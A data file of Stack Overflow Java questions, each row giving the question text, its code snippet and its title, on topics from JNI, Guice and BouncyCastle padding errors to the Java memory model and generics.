correlated together.This StackOverflow link was a helpful reference for me.Question is : should ICreate a clientid on the server and then share it with the client ; orShould I let the javascript on the client create the clientid and then try to share it with my server ? ( I suspect this is the better answer ) For ( 1 ) , what I was thinking I could do is : Store a UUID in the session on the server ( which is google app engine ) Directly use that UUID when I use Measurement Protocol to create events directly server-sideUse the same UUID when I create a ga object on a page using jsp : The thing that worries me about this approach is that the ID will only persist across the session on the server . I think the intent of the clientId ( cid ) is that it persists for the client over an extended period ... So I think I will lose track of who is new versus returning user ? For ( 2 ) , frankly I do n't know how to do this ... I know from the above StackOverflow link that I can get the cid out of the clientId parameters in the ga object . I do n't know how I would then send it back to my server ( this is probably a simple javascript question ) .Would definitely appreciate advice on which approach to use ... . thank you !","ga ( 'create ' , 'UA-XXXXXXXXX-1 ' , 'mydomain.com ' ) ; ga ( 'send ' , 'pageview ' ) ga ( 'create ' , 'UA-XXXXXXXXX-1 ' , 'mydomain.com ' , { 'clientId ' : ' < % = [ value from the session ] % > ' } ) ;",Sharing Google Analytics ClientID between javascript client and java server +Java,"The following Java code looks a little strange because I have simplified it down to the bare essentials . I think the code has an ordering problem . I am looking at the first table in the JSR-133 Cookbook and it seems the normal store can be reordered with the volatile store in change ( ) .Can the assignment to m_normal in change ( ) move ahead of the assignment of m_volatile ? In other words , can get ( ) return null ? What is the best way to solve this ? Note : I do not have control over the code where m_normal is declared.Note : I am running on Java 8 .",private Object m_normal = new Object ( ) ; private volatile Object m_volatile ; public void change ( ) { Object normal ; normal = m_normal ; // Must capture value to avoid double-read if ( normal == null ) { return ; } m_volatile = normal ; m_normal = null ; } public Object get ( ) { Object normal ; normal = m_normal ; // Must capture value to avoid double-read if ( normal ! = null ) { return normal ; } return m_volatile ; },Re-ordering of assignments and adding a fence +Java,"I 'm currently writing a program that currently uses elasticsearch as a back-end database/search index . I 'd like to mimic the functionality of the /_search endpoint , which currently uses a match query : Doing some sample queries , yielded the following results on a massive World of Warcraft database : After looking through elasticsearch 's documentation , I found that the match query is fairly complex . What 's the easiest way that I can simulate a match query with just lucene in java ? ( It appears to be doing some fuzzy matching , as well as looking for terms ) Importing elasticsearch code for MatchQuery ( I believe org.elasticsearch.index.search.MatchQuery ) does n't seem to be that easy . It 's heavily embedded into Elasticsearch , and does n't look like something that can be easily pulled out.I do n't need a full proof `` Must match exactly what elasticsearch matches '' , I just need something close , or that can fuzzy match/find the best match .",{ `` query '' : { `` match '' : { `` message '' : `` Neural Disruptor '' } } } Search Term Search Result -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - Neural Disruptor Neural Needler Lovly bracelet Ruby Bracelet Lovely bracelet Lovely Charm Bracelet,Mimic Elasticsearch MatchQuery +Java,"I use the following code to get the current ( in focus ) window in Linux : Now I 'd like to get WM_CLASS property of this window.In Setting and Reading the WM_CLASS Property there is a following passage showing how to do this : To read a window 's WM_CLASS property , use XGetClassHint ( ) .The XClassHint contains : typedef struct { char *res_name ; char *res_class ; } XClassHint ; However , when we look at X11.XWMHints ( JNA API ) we can see that there is no such a property res_class ( that is , WM_CLASS ) .So , how do get the WM_CLASS property of the current window ?",X11 x11 = X11.INSTANCE ; X11.Display display = x11.XOpenDisplay ( null ) ; X11.Window window = x11.XDefaultRootWindow ( display ) ;,How do I get X11 WM_CLASS for active window using JNA ( Java ) ? +Java,"I am trying to encrypt an ISO-0 pinblock using the codenameone BouncyCastle lib.The methods I use to achieve this is as follows : In ByteUtil : To give example Log outputs : When I run this through a public static void main method , it works as expected , however , when I build this for Android via Codenameone , I get the following error in logcat : Despite the padded pinblock being 16 in length ( a multiple of 8 ) .Any help regarding this issue would be appreciated .","private static byte [ ] performEncrypt ( byte [ ] key , String plainText , boolean padding ) { byte [ ] ptBytes = plainText.getBytes ( ) ; BufferedBlockCipher cipher ; if ( padding ) { cipher = new PaddedBufferedBlockCipher ( new CBCBlockCipher ( new DESedeEngine ( ) ) ) ; } else { cipher = new BufferedBlockCipher ( new CBCBlockCipher ( new DESedeEngine ( ) ) ) ; } cipher.init ( true , new KeyParameter ( key ) ) ; byte [ ] rv = new byte [ cipher.getOutputSize ( ptBytes.length ) ] ; int oLen = cipher.processBytes ( ptBytes , 0 , ptBytes.length , rv , 0 ) ; try { cipher.doFinal ( rv , oLen ) ; } catch ( CryptoException ce ) { LoggingUtil.error ( TAG , ce , `` Unexpected Exception '' ) ; } return rv ; } private static String createIso0PinBlock ( String pin , String number ) { ... } private static String getPaddedData ( String data , byte padCharacter ) { String paddedData = ByteUtil.pad ( data , ( char ) padCharacter , 8 ) .toString ( ) ; return paddedData ; } public static String createPinBlockAndEncrypt ( String pin , String number ) { LoggingUtil.debug ( `` SecurityUtil '' , `` CREAT PIN BLOCK AND ENCRYPT.. PIN : `` + pin + `` NUMBER : `` + number ) ; String pb = createIso0PinBlock ( pin , number.substring ( 0 , number.length ( ) - 1 ) ) ; LoggingUtil.debug ( `` SecurityUtil '' , `` PINBLOCK : `` + pb ) ; String padded = getPaddedData ( pb , ( byte ) 0x00 ) ; LoggingUtil.debug ( `` SecurityUtil '' , `` PADDED : `` + padded ) ; byte [ ] encrypted = performEncrypt ( Hex.decode ( KEY.getBytes ( ) ) , new String ( ByteUtil.hex2byte ( padded ) ) , false ) ; return ByteUtil.byte2hex ( encrypted ) ; } public static StringBuilder pad ( String data , char padCharacter , int multiplier ) { StringBuilder text = new StringBuilder ( ) ; text.append ( data ) ; while ( text.length ( ) % multiplier ! = 0 ) { text.append ( padCharacter ) ; } return text ; } [ SecurityUtil ] CREAT PIN BLOCK AND ENCRYPT.. PIN : 2255 NUMBER : 6284734104205417486 [ SecurityUtil ] PINBLOCK : 042214FBDFABE8B7 [ SecurityUtil ] PADDED : 042214FBDFABE8B7 org.bouncycastle.crypto.DataLengthException : data not block size alignedorg.bouncycastle.crypto.BufferedBlockCipher.doFinal ( BufferedBlockCipher.java:275 )",Data not block size aligned in codenameone BouncyCastle ( No Padding ) +Java,"I am trying to accomplish something with Java generics and am having a hell of a time since the approaches I would instinctively take do not work in this language , due to type erasure . I can cobble something reasonable together , though , if I get get the following to work . I have two classes : And a third class : I want a generic factory method that will return an instance of C , if I give it an instance of either A or B . A first attempt might look like this : The issue I am having , which I suppose is not very unique , is most easily explained with the following line : The way I have defined getObject , the above call will return an object of type C < B > , which is not C < A > and does not inherit from C < A > , so this will not compile . What I want to know is : is it possible to invoke some generics magic so that the compiler chooses the generic type T in getObject to be the superclass involved in the above function call , namely A ? Thanks so much !",class A { } class B extends A { } class C < T extends A > { } < T extends A > C < T > getObject ( T t ) { ... } B b = new B ( ) ; C < A > = getObject ( b ) ;,Java Generics : Returning object of generic class with type parameter that is a super of argument T +Java,"I am writing a minimax algorithm for a game in Java , and , for speed purposes , mutating the game state as I recursively work through the decision tree . However , this involves modifying the list of moves I am iterating over.The board.move ( ) method mutates the ArrayList legalMoves , but takeBack ( 1 ) brings it back to its original state . Could this cause any problems ?","public int minimax ( int currentDepth ) { if ( currentDepth == depth || board.legalMoves.isEmpty ( ) ) { int eval = board.eval ( ) ; board.takeBack ( 1 ) ; return eval ; } int x = Integer.MIN_VALUE ; for ( Tuple move : board.legalMoves ) { board.move ( move ) ; x = max ( x , -1*minimax ( currentDepth+1 ) ) ; board.takeBack ( 1 ) ; } return x }","Can I safely mutate an array I am iterating over , if it returns to its original state after each iteration ?" +Java,"I can use the current username in a pom.xml-file with $ { user.name } , but is there a way to get the uid ( userid ) ? I use exec-maven-plugin and add arguments to a execution . I 've tried different things ( $ { env.UID } , $ { user.id } , $ UID ) , but neither work.I need it to start a process in docker that writes files to a shared directory . If I do n't start with the -u-parameter all files will belong to root.The configuration is like :",< configuration > < executable > docker < /executable > < arguments > < argument > run < /argument > < argument > -u < /argument > < argument > $ UID < /argument > < argument > ... < /argument > < /arguments > < /configuration >,Get UID in a maven variable ? +Java,Guava Suppliers-class contains MemoizingSupplier : Could someone explain what does that comment mean ? `` value '' does not need to be volatile ; visibility piggy-backs on volatile read of `` initialized '' .How can volatile on `` initialized '' field affect `` value '' field ? According to this article we can get inconsistent combination of `` initialized '' and `` value '' fields ( eg . true+null ) . Am I wrong ?,"static class MemoizingSupplier < T > implements Supplier < T > , Serializable { final Supplier < T > delegate ; transient volatile boolean initialized ; // `` value '' does not need to be volatile ; visibility piggy-backs // on volatile read of `` initialized '' . transient T value ; MemoizingSupplier ( Supplier < T > delegate ) { this.delegate = delegate ; } @ Override public T get ( ) { // A 2-field variant of Double Checked Locking . if ( ! initialized ) { synchronized ( this ) { if ( ! initialized ) { T t = delegate.get ( ) ; value = t ; initialized = true ; return t ; } } } return value ; } @ Override public String toString ( ) { return `` Suppliers.memoize ( `` + delegate + `` ) '' ; } private static final long serialVersionUID = 0 ; }",Guava : MemoizingSupplier thread safety +Java,"while I was reviewing some code , I came across this snippet.The call of method user.getAddress ( ) returns an Optional < Address > . Following the famous Law of Demeter ( LoD ) , the above code is not clean . However , I can not figure out how to refactor it to make it cleaner.As a first attempt could be to add to the User class a method hasAddress ( ) , but this method overcomes the need of having an Optional < Address > , IMO.How should I refactor the above code ? In this case , is it worth to satisfy the LoD ? EDIT : I missed specifying that in the map method I do not want to return the address .",List < User > users = /* Some code that initializes the list */ ; users.stream ( ) .filter ( user - > user.getAddress ( ) .isPresent ( ) ) .map ( /* Some code */ ) // And so on ...,Optional monad and the Law of Demeter in Java +Java,"I am trying to get familiar with lambda functions . To start with I decided to write a handy class called TernaryOperator . So , the question is did I get the ideology right or am I missing something as it should be done in a different way ? I see usage of this class like this : And now I can calculate a length of any string even if it is a null with this oneliner.So , if you have any ideas how to write better TernaryOperator or if you think that it is useless , please tell me .","public class TernaryOperator < T , U > implements Function < T , U > { private final Function < T , U > f ; public TernaryOperator ( Predicate < ? super T > condition , Function < ? super T , ? extends U > ifTrue , Function < ? super T , ? extends U > ifFalse ) { this.f = t - > condition.test ( t ) ? ifTrue.apply ( t ) : ifFalse.apply ( t ) ; } @ Override public U apply ( T t ) { return f.apply ( t ) ; } } Predicate < Object > condition = Objects : :isNull ; Function < Object , Integer > ifTrue = obj - > 0 ; Function < CharSequence , Integer > ifFalse = CharSequence : :length ; Function < String , Integer > safeStringLength = new TernaryOperator < > ( condition , ifTrue , ifFalse ) ;",Is this a proper usage of Function interface ? +Java,"I 'm embedding Java into a C++ application . As part of this I need to expose native functions to java , as well as calling java functions from C++.Do I need to put the functions I want to call from java into a shared library ? Or can they be compiled into the host application somehow ? Here 's what I 've tried so far , but it gives a java.lang.UnsatisfiedLinkErrorCompilationI 'm building on OS X 10.5 usingJava Test File : TestObject.javaC++ Test File : test.cpp }","g++ -Wall -I/System/Library/Frameworks/JavaVM.framework/Headers/ -framework JavaVM -g test.cpp // To build this you need to do a ` javac TestObject.java ` // To get the signatures do a ` javap -d TestObject ` // To generate the .h file do a ` javah TestObject ` public class TestObject { public native TestObject get_property ( String k ) ; } # include < jni.h > # include < assert.h > JNIEXPORT jobject JNICALL Java_TestObject_get_1property ( JNIEnv * jni_env , jobject obj , jstring key ) { //Just a stub implementation for now . jclass klass = jni_env- > GetObjectClass ( obj ) ; jmethodID constructor = jni_env- > GetMethodID ( klass , `` < init > '' , `` ( ) V '' ) ; jobject retval = jni_env- > NewObject ( klass , constructor ) ; return retval ; } int main ( ) { JavaVM* jvm ; JavaVMInitArgs vm_args ; JavaVMOption options [ 1 ] ; vm_args.version = JNI_VERSION_1_4 ; vm_args.nOptions = 1 ; options [ 0 ] .optionString = `` -Djava.class.path= . `` ; vm_args.options = options ; vm_args.ignoreUnrecognized = JNI_FALSE ; JNIEnv * env ; JNI_CreateJavaVM ( & jvm , ( void ** ) & env , & vm_args ) ; jclass klass = ( env ) - > FindClass ( `` TestObject '' ) ; assert ( klass ) ; jmethodID constructor = env- > GetMethodID ( klass , `` < init > '' , `` ( ) V '' ) ; assert ( constructor ) ; jobject obj = env- > NewObject ( klass , constructor ) ; jmethodID test_method = ( env ) - > GetMethodID ( klass , `` get_property '' , `` ( Ljava/lang/String ; ) LTestObject ; '' ) ; assert ( test_method ) ; jvalue args [ 1 ] ; args [ 0 ] .l = env- > NewStringUTF ( `` k '' ) ; jobject rv = env- > CallObjectMethodA ( obj , test_method , args ) ; jthrowable exc = env- > ExceptionOccurred ( ) ; if ( exc ) { env- > ExceptionDescribe ( ) ; env- > ExceptionClear ( ) ; } //TODO : do something with rv",How do I avoid UnsatisfiedLinkError when calling C++ from java from C++ application ? +Java,"Consider an array of integers A having N elements in which each element has a one- to-one relation with another array element.For each i , where 1≤i≤N there exists a 1− > 1 relation between element i and element N−i+1The Task is to perform following operations on this array which are as follows : Given two integers ( L , R ) we have to swap each element in that range with its related element . ( See Sample explanation below ) Sample InputSample OutputExplanationFor first query , we will swap 1 with 5 and 2 with 4.Now the array becomes- 5 4 3 2 1Similarly now , for the second query we will swap 4 with 2 and 3 with itself.So the final array will be 5 2 3 4 1My Program goes like this : I could only come up with BruteForce solution . I 'm pretty sure there will be some pre-processing step or some optimisation technique with l and r variables , whatever I could think of , giving me wrong answer . Please help me optimise this code . To be specific , I would need my code 's time complexity to be reduced from O ( N+ Q* ( R-L ) ) to something like O ( Q+N )",51 2 3 4 521 22 3 5 2 3 4 1 import java.util.Scanner ; public class ProfessorAndOps { public static void main ( String [ ] args ) { // TODO Auto-generated method stub Scanner in=new Scanner ( System.in ) ; int n=in.nextInt ( ) ; //length of array int a [ ] =new int [ n ] ; //array declaration for ( int i=0 ; i < n ; i++ ) { //inputting array elements a [ i ] =in.nextInt ( ) ; } int q=in.nextInt ( ) ; //number of queries for ( int i=0 ; i < q ; i++ ) { int l=in.nextInt ( ) ; //left limit int r=in.nextInt ( ) ; //right limit //swapping while iterating over the given range of array elements : for ( int j=l-1 ; j < =r-1 ; j++ ) { int temp=a [ j ] ; a [ j ] =a [ n-j-1 ] ; a [ n-j-1 ] =temp ; } } //Printing the output array : for ( int i=0 ; i < n ; i++ ) { if ( i ! =n-1 ) { System.out.print ( a [ i ] + '' `` ) ; } else { System.out.println ( a [ i ] ) ; } } } },How can I optimize my code for Swapping the array elements of given range of indexes with related element ? +Java,"Why the result of the following code is 3 , why the finally get to terminate and get out of the method even tho the compiler checks try first and why the return in try does n't terminate the method ?",public int returnVal ( ) { try { return 2 ; } finally { return 3 ; } },try/finally without catch with return statement ? +Java,"I have this bit of ( counter-intuitive ) observations about generic wildcard notation used in collections . The purpose of the wildcard notation List < ? extends T > is to allow the assignment of a List ( of subtypes of T ) to the reference of List of ' ? of T ' . Its purpose is not to specifically allow the adding of elements of subtypes of T into the List ( of ' ? of T ' ) , which is possible even in a List < T > .Is my observation correct ?","List < Number > list = new ArrayList < Integer > ( ) ; // invalid , List < Integer > is not assignable to List < Number > List < Number > list = new ArrayList < Number > ( ) ; // OK list.add ( new Integer ( 1 ) ) ; // valid , ' ? extends Number ' not needed ! List < ? extends Number > list1 = new ArrayList < Integer > ( ) ; // Valid , because of notation ' ? extends Number '",Main intention or Purpose of Wildcard notation ' ? extends T ' +Java,"I have an interface , Resource , which is supposed to wrap something and expose a few operations on the wrapped object.My first approach was to write the following , with the Strategy pattern in mind.The two implementations above differ in the locking scheme used ( regular locks , or read-write locks ) .There is also a ResourceManager , an entity responsible for managing these things.My idea of usage by the client , would be : This way , the client would know about resources , but would n't have to deal directly with resources ( hence the package-private classes ) . Also , I could make my own implementation of some common resources , like sockets , and the client would only ask for them ( ie , I would have to write a SocketStrategy implements ResourceStrategy < Socket > ) .To access resources , he would request an handler from the manager . This is due to each thread having some specific access privileges , and so the manager would create an handler with the appropriate access privileges.This is where the problem kicks in.This approach seems clean and clear to me , it also seems to be intuitive for the user.But , as hinted , the manager keeps a mapping from identifiers to resources . How would this be declared , and how would the manager retrieve the resources from the map ? Is this design acceptable , and/or following good practices ? Alternatively , I could wipe out the generics , and have ExclusiveResource and ShareableResource be abstract and public.These classes would then be extended , both by me and the client , for every type of resource needed ( FileResource extends ExclusiveResource , SocketResource extends ExclusiveResource , ... ) .This would probably eliminate the need for the strategy pattern , but would expose more of my package to the user.Which of these alternatives is the most correct , or widely accepted as good practice ? Edit : After some thought , I think I could be able to remove the generic from the Resource interface , since that 's the one causing trouble , and leave it on AbstractResource and its subclasses . The latter could still grant me compile-time verification of the strategies used.However , following the inheritance way seems to be more correct .","interface Resource < T > { ResourceState read ( ) ; void write ( ResourceState ) ; } abstract class AbstractResource < T > implements Resource < T > { // This is where the Strategy comes in . protected AbstractResource ( ResourceStrategy < T > strat ) { // ... } // Both the read and write implementations delegate to the strategy . } class ExclusiveResource < T > extends AbstractResource < T > { ... } class ShareableResource < T > extends AbstractResource < T > { ... } ResourceManager rm = ... MyCustomObject o = ... MyCustomReadWriteStrategy strat = ... rm.newResourceFor ( o , `` id '' , strat ) ; ResourceManager rm = ... rm.newSocketResource ( `` id '' , host , port ) ; // This is in the ResourceManager class.public ResourceHandler getHandlerFor ( String id ) { if ( ! canThreadUseThisResource ( id ) ) throw ... ; if ( isThreadReaderOnly ( ) ) { return new ResourceReadHandler ( ... ) ; } else { return new ResourceWriteHandler ( ... ) ; } } Map < String , Resource < ? > > map ; // Can I go around without any specific cast ? Not sure yet.Resource < ? > r = map.get ( id ) ; // This could have an enum ResourceType , to check if thread has privileges// for the specific type . public < T > void newExclusiveResourceFor ( T obj , String id , ResourceStrategy < T > strat ) { ExclusiveResource < T > r = new ExclusiveResource < > ( obj , strat ) ; map.put ( id , r ) ; }",Java - Using Generics or Inheritance +Java,"I know this is heresy , but I tried to translate the examples from http : //www.haskell.org/haskellwiki/Memoization to Java . So far I have : That works fine . Now I tried to implement the memoFix combinator defined asBut I got stuck . Does this even make sense in Java , especially concerning its inherent lack of lazyness ?","public abstract class F < A , B > { public abstract B f ( A a ) ; } ... public static < A , B > F < A , B > memoize ( final F < A , B > fn ) { return new F < A , B > ( ) { private final Map < A , B > map = new HashMap < A , B > ( ) ; public B f ( A a ) { B b = map.get ( a ) ; if ( b == null ) { b = fn.f ( a ) ; map.put ( a , b ) ; } return b ; } } ; } //usage : private class Cell < X > { public X value = null ; } ... final Cell < F < Integer , BigInteger > > fibCell = new Cell < F < Integer , BigInteger > > ( ) ; fibCell.value = memoize ( new F < Integer , BigInteger > ( ) { public BigInteger f ( Integer a ) { return a < = 1 ? BigInteger.valueOf ( a ) : fibCell.value.f ( a - 1 ) .add ( fibCell.value.f ( a - 2 ) ) ; } } ) ; System.out.println ( fibCell.value.f ( 1000 ) ) ; memoFix : : ( ( a - > b ) - > ( a - > b ) ) - > a - > bmemoFix f = let mf = memoize ( f mf ) in mf",Haskell style memoization in Java +Java,"Is there a way to accept any number of arguments when mocking a method ? For instance if I want to mock those 2 methods : For now , in my test I do : Is there a way to mock both at once ? Something like : ( this does n't work )","foo ( String s ) ; foo ( String s , int i ) ; myMockedClass.foo ( _ ) > > xmyMockedClass.foo ( _ , _ ) > > x myMockedClass.foo ( * ) > > x",How to remove constraints on the number of arguments when mocking with Spock ? +Java,I am currently studying for a concurrent programming exam and do n't understand why the output of this program is 43 . Why is x = y + 1 executed before t.start ( ) ? I also should explain which happens-before rules I used.If I understand the program order rule ( each action in a thread happens-before every action in that thread that comes later in the program order ) t.start ( ) has to be executed before x = y + 1 so that thread t copies variable x which will be 1 .,public class HappensBefore { static int x = 0 ; static int y = 42 ; public static void main ( String [ ] args ) { x = 1 ; Thread t = new Thread ( ) { public void run ( ) { y = x ; System.out.println ( y ) ; } ; } ; t.start ( ) ; x = y + 1 ; },Happens-before rules in Java Memory Model +Java,"We have been seeing inconsistent network failures when trying to set up Infinispan on EC2 ( large instances ) over Jgroups 3.1.0-FINAL running on Amazon 's 64-bit linux AMI . An empty cache starts fine and seems to work for a time however once the cache is full , a new server getting synchronized causes the cache to lock.We decided to roll our own cache but are seeing approximately the same behavior . 10s of megabytes are being exchanged during synchronization but they are not flooded . There is a back and forth data - > ack conversation at the application level but it looks like some of the messaging is never reaching the remote.In looking at the UNICAST trace logging I 'm seeing the following : Here 's our Jgroups stack . We replace the PING protocol at runtime with our own EC2_PING version which uses AWS calls to find other cluster member candidates . This is not a connection issue.Any ideas why some of the packets are not arriving at their destination ?","# my application starts a cache refresh operation 01:02:12.003 [ Incoming-1 , mprewCache , i-f6a9d986 ] DEBUG c.m.e.q.c.l.DistributedMapManager - i-f6a9d986 : from i-d2e29fa2 : search : REFRESH 01:02:12.003 [ Incoming-1 , mprewCache , i-f6a9d986 ] INFO c.m.e.q.c.l.DistributedMapRequest - starting REFRESH from i-d2e29fa2 for map search , map-size 62373 01:02:12.003 [ Incoming-1 , mprewCache , i-f6a9d986 ] DEBUG c.m.e.q.c.l.DistributedMapManager - i-f6a9d986 : to i-d2e29fa2 : search : PUT_MANY , 50 keyValues # transmits a block of 50 values to the remote but this never seems to get there 01:02:12.004 [ Incoming-1 , mprewCache , i-f6a9d986 ] TRACE o.j.p.UNICAST - i-f6a9d986 -- > DATA ( i-d2e29fa2 : # 11 , conn_id=10 ) # acks another window 01:02:12.004 [ Incoming-1 , mprewCache , i-f6a9d986 ] TRACE o.j.p.UNICAST - i-f6a9d986 -- > ACK ( i-d2e29fa2 : # 4 ) # these XMITs happen for over and over until 01:30:40 01:02:12.208 [ Timer-2 , mprewCache , i-f6a9d986 ] TRACE o.j.p.UNICAST - i-f6a9d986 -- > XMIT ( i-d2e29fa2 : # 6 ) 01:02:12.209 [ Timer-2 , mprewCache , i-f6a9d986 ] TRACE o.j.p.UNICAST - i-f6a9d986 -- > XMIT ( i-d2e29fa2 : # 7 ) 01:02:12.209 [ Timer-2 , mprewCache , i-f6a9d986 ] TRACE o.j.p.UNICAST - i-f6a9d986 -- > XMIT ( i-d2e29fa2 : # 8 ) ...",Problems with lost packets across jgroups channels on EC2 +Java,"Is it possible , and if than how , to save the internal state of MessageDigest object ? I want to save it in a database , so have to use only primitive data like String , int , byte [ ] .What I 'm trying to achieve is to be able to receive a fragmented file ( during a long period of time ) , save all the fragments in database , and after receiving last fragment verify the SHA512 digest of the file without getting back all the data previously saved in database.So basically I want something like this :",MessageDigest md = MessageDigest.getInstance ( `` SHA-512 '' ) ; // restore previous internal state of mdmd.update ( dataSegment ) ; // save internal md state,How can I save MessageDigest internal state into database ? +Java,I have created a new ArrayList using subList Method.Now when I try to perform intersection operation using retainAll it Throws following exceptionretainAll ( ) Method works for Below CodeBut when i try to apply retainAll for Below code it generates Exception as BelowJava CodeERROR,"List < Integer > arrNums1 = new ArrayList < Integer > ( ) ; arrNums1.add ( 1 ) ; arrNums1.add ( 2 ) ; arrNums1.add ( 3 ) ; List < Integer > arrNums2 = arrNums1.subList ( 0 , 1 ) ; arrNums2.retainAll ( arrNums1 ) ; public class Generics1 { public static void main ( String [ ] args ) { List < Fruits > arrFruits = new ArrayList < Fruits > ( ) ; Fruits objApple = new Apple ( ) ; Fruits objOrange = new Orange ( ) ; Fruits objMango = new Mango ( ) ; arrFruits.add ( objApple ) ; arrFruits.add ( objOrange ) ; arrFruits.add ( objMango ) ; List < Fruits > arrNewFruits = arrFruits.subList ( 0 , 1 ) ; System.out.println ( arrFruits.retainAll ( arrNewFruits ) ) ; } } class Fruits { } class Apple extends Fruits { } class Orange extends Fruits { } class Mango extends Fruits { }",Why retainAll in ArrayList throws an Exception +Java,"I 'm trying to do something that would normally look like this in C : Approach 1Here is what I have in Java , using enum : Approach 1 - ProblemsI find that I am having to repeat this pattern in various places , but was wondering : is there a better way ? particularly because : this seems convoluted and less elegant , and it also shifts something that would be compile time to run time '' .One of the reasons I use this mapping , is because it looks better in switch statements , e.g . : I suppose there are also benefits of stronger type safety with enums.Approach 2I am aware I could do : but my feeling is that enums are still better . Is my enum approach above the way to go ? or is there another way ?","typedef enum { HTTP =80 , TELNET=23 , SMTP =25 , SSH =22 , GOPHER=70 } TcpPort ; public static enum TcpPort { HTTP ( 80 ) , TELNET ( 23 ) , SMTP ( 25 ) , SSH ( 22 ) , GOPHER ( 70 ) ; private static final HashMap < Integer , TcpPort > portsByNumber ; static { portsByNumber = new HashMap < Integer , TcpPort > ( ) ; for ( TcpPort port : TcpPort.values ( ) ) { portsByNumber.put ( port.getValue ( ) , port ) ; } } private final int value ; TcpPort ( int value ) { this.value = value ; } public int getValue ( ) { return value ; } public static TcpPort getForValue ( int value ) { return portsByNumber.get ( value ) ; } } switch ( tcpPort ) { case HTTP : doHttpStuff ( ) ; break ; case TELNET : doTelnetStuff ( ) ; break ; ... . } public static class TcpPort { public static final int HTTP = 80 ; public static final int TELNET = 23 ; public static final int SMTP = 25 ; public static final int SSH = 22 ; public static final int GOPHER = 70 ; }",Java enum ( or int constants ) vs c enum +Java,"I found interesting thing while working with reflection . I tried to retrieve constructors of simple class and their modifiers.Here is the code to retrieve constructor modifiers : The result is : If I pass to constructor not variable parameters , but just array , it 's ok.The result is : The same happens regardless of constructor modifier ( public , protected , private ) or parameters type ( primitive or reference ) . How could it be , whereas `` transient '' is not valid modifier for constructor ?",public class Test { public Test ( Object ... args ) { } } Class < ? > clazz = Test.class ; Constructor < ? > [ ] ctors = clazz.getDeclaredConstructors ( ) ; for ( Constructor < ? > ctor : ctors ) { int mod = ctor.getModifiers ( ) ; /*if not package-private modifier*/ if ( mod ! =0 ) { System.out.println ( Modifier.toString ( mod ) ) ) ; } } public transient public class Test { public Test ( Object [ ] args ) { } } public,Unexpected `` transient '' constructor modifier +Java,"The following query is correct in Oracle 12c : But it does n't work through JDBC because of the ? character that is used as a regular expression character , not as a bind variable.What 's the correct way to escape the ? through JDBC , assuming I want to run this as a PreparedStatement with bind variables ? Note : I 've found a discussion on the JDBC spec discuss mailing list , but there 's no conclusion to this problem : http : //mail.openjdk.java.net/pipermail/jdbc-spec-discuss/2013-October/000066.htmlPostgreSQL has similar problems with JSON operators : How do I use PostgreSQL JSON ( B ) operators containing a question mark `` ? '' via JDBC",SELECT *FROM dualMATCH_RECOGNIZE ( MEASURES a.dummy AS dummy PATTERN ( a ? ) DEFINE a AS ( 1 = 1 ) ),What 's the correct way to escape the ? character in a JDBC PreparedStatement when using Oracle 12c MATCH_RECOGNIZE ? +Java,"Suppose I am handling FooException and BarException occurs . Let 's assume they are both unchecked exceptions.What I want to see in the stacktrace is : However , by default , all record of FooException will be erased from the stacktrace . For example : If BarException has a ( message , cause ) constructor then I can follow a rather crude kind of `` manual cloning '' process to achieve my goal : However , if BarException does not have such a constructor ( for example ClassCastException ) then I am reduced to doing things like this : This is dangerous because e has the wrong type and so may not be correctly handled by higher frames.Is there a `` best-practice '' way to handle this situation ?","com.bar.BarException : Bar Message at com.baz.BazCode ( BazCode.java:123 ) ... Caused by : com.foo.FooException : Foo Message at com.baz.BazCode ( BazCode.java:321 ) ... .Caused by : ... // In a class written by me/** * ... * @ throws FooException if foo happens * @ throws BarException if bar happens */public void upperFrame ( ) { try { foo.doSomething ( ) ; } catch ( FooException foo ) { bar.doSomethingElse ( ) ; } } // In class Bar ( not written by me ) public void doSomethingElse ( ) { if ( someConditionWhichHappensToBeTrueInThisScenario ( ) ) { throw new BarException ( `` Hello Bar World '' ) ; // At this point , FooException gets erased from the stack trace } } try { foo.doSomething ( ) ; } catch ( FooException foo ) { try { bar.doSomethingElse ( ) ; } catch ( BarException bar ) { BarException bar2 = new BarException ( bar.getMessage ( ) , foo ) ; bar2.setStackTrace ( bar.getStackTrace ( ) ) ; throw bar2 ; } } try { foo.doSomething ( ) ; } catch ( FooException foo ) { try { bar.doSomethingElse ( ) ; } catch ( BarException bar ) { RuntimeException e = new RuntimeException ( `` com.bar.BarException : `` + bar.getMessage ( ) , foo ) ; e.setStackTrace ( bar.getStackTrace ( ) ) ; throw e ; } }",How to get a correctly-chained stack trace for exceptions thrown when handling other exceptions ? +Java,"I 'm trying to combine this 3 features of Guice : inject , multibinding , generics . I create a prototype of production project , so here it is : First , this is a little hierarchy for generics ( in production case there is hierarchy of N entities ) : Next , classes ToCreate1 and ToCreate2 I want to create by Factory.Base class : It 's inheritors : Then , the Factory itself : So , now I want to Inject a map , containing Factory < Type1 > and Factory < Type2 > to create ToInject1 and ToInject2 respectively.So , I create Guice 's AbstractModule with configure method : So , I inject it @ Inject public Map < String , Factory > map ; and all is Ok : As I mentioned before , there is much more Types in my production system , so the AbstractModule becomes too cumbersome.I tried to avoid duplicate code and modified configure method : And it does n't work ! Guice says : What 's wrong ?","public interface Type { } public class Type1 implements Type { } public class Type2 implements Type { } public abstract class AbstractToCreate < T extends Type > { public T type ; public Integer param ; public AbstractToCreate ( T type , Integer param ) { this.type = type ; this.param = param ; } } public class ToCreate1 extends AbstractToCreate < Type1 > { @ Inject public ToCreate1 ( Type1 type , @ Assisted Integer param ) { super ( type , param ) ; } } public class ToCreate2 extends AbstractToCreate < Type2 > { @ Inject public ToCreate2 ( Type2 type , @ Assisted Integer param ) { super ( type , param ) ; } } public interface Factory < T extends Type > { AbstractToCreate < T > create ( Integer param ) ; } protected void configure ( ) { install ( new FactoryModuleBuilder ( ) .implement ( new TypeLiteral < AbstractToCreate < Type1 > > ( ) { } , ToCreate1.class ) .build ( new TypeLiteral < Factory < Type1 > > ( ) { } ) ) ; install ( new FactoryModuleBuilder ( ) .implement ( new TypeLiteral < AbstractToCreate < Type2 > > ( ) { } , ToCreate2.class ) .build ( new TypeLiteral < Factory < Type2 > > ( ) { } ) ) ; MapBinder < String , Factory > mapBinder = MapBinder.newMapBinder ( binder ( ) , String.class , Factory.class ) ; mapBinder.addBinding ( `` type1 '' ) .to ( new TypeLiteral < Factory < Type1 > > ( ) { } ) ; mapBinder.addBinding ( `` type2 '' ) .to ( new TypeLiteral < Factory < Type2 > > ( ) { } ) ; } Factory < Type1 > factory1 = main.map.get ( `` type1 '' ) ; Factory < Type2 > factory2 = main.map.get ( `` type2 '' ) ; 